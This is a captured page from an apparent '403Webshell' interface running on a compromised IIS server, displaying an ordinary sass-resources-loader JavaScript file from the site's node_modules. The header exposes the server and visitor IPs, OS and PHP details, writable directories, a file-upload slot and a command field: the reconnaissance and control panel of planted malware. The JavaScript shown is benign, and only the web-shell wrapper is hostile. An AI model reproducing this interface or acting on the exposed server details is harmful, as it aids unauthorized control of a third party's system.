403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/parsmega.nuxt/node_modules/sass-resources-loader/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/parsmega.nuxt/node_modules/sass-resources-loader/lib/utils/rewritePaths.js
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = rewritePaths;
exports.getRelativeUsePath = void 0;

var _path = _interopRequireDefault(require("path"));

var _logger = _interopRequireDefault(require("./logger"));

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }

var useRegexp = /@(import|use)\s+(?:'([^']+)'|"([^"]+)"|([^\s;]+))/g;

var getRelativeUsePath = function getRelativeUsePath(oldUsePath, absoluteUsePath, moduleContext) {
  // from node_modules
  if (/^~/.test(oldUsePath)) {
    return oldUsePath;
  }

  return _path["default"].relative(moduleContext, absoluteUsePath);
};

exports.getRelativeUsePath = getRelativeUsePath;

function rewritePaths(error, file, contents, moduleContext, callback) {
  if (error) {
    _logger["default"].debug('Resources: **not found**');

    return callback(error);
  }

  if (!/\.s[ac]ss$/i.test(file)) {
    return callback(null, contents);
  }

  var rewritten = contents.replace(useRegexp, function (entire, importer, single, _double, unquoted) {
    // Don't rewrite imports from built-ins
    if ([single, _double].some(function (match) {
      return match && match.indexOf('sass:') === 0;
    })) {
      return entire;
    }

    var oldUsePath = single || _double || unquoted;

    var absoluteUsePath = _path["default"].join(_path["default"].dirname(file), oldUsePath);

    var relUsePath = getRelativeUsePath(oldUsePath, absoluteUsePath, moduleContext);
    var newUsePath = relUsePath.split(_path["default"].sep).join('/');

    _logger["default"].debug("Resources: @".concat(importer, " of ").concat(oldUsePath, " changed to ").concat(newUsePath));

    var lastCharacter = entire[entire.length - 1];
    var quote = lastCharacter === "'" || lastCharacter === '"' ? lastCharacter : '';
    return "@".concat(importer, " ").concat(quote).concat(newUsePath).concat(quote);
  });
  callback(null, rewritten);
  return undefined;
}

Youez - 2016 - github.com/yon3zu
LinuXploit